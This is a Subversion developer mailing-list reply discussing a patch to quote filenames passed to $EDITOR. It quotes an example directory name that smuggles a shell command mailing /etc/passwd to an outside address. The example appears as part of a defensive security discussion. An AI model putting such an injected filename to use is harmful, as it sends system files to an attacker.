Re: [PATCH] Quote filename passed to $EDITOR

Ulrich Drepper wrote:
> A svn repository can be set up by somebody with foul intentions.
> Somebody else accesses it and the system() call gets executed on the
> paths chosen by whoever created it. Then the patch could be something
> like in this example:
>
> cat /dev/$(mail to-me@test.com < /etc/passwd; echo null)
>
> If the appropriate path component is never really shown anywhere this
> might go completely unnoticed.

I don't think that's likely because they would have to run the checkin
from that directory. Hard not to notice a directory called "$(mail
to-me@test.com < /etc/passwd; echo null)" if you just 'cd'd to it.

Still worth fixing, of course.

--
Scott Lamb
---------------------------------------------------------------------
To unsubscribe, e-mail: dev-unsubscribe@subversion.tigris.org
For additional commands, e-mail: dev-help@subversion.tigris.org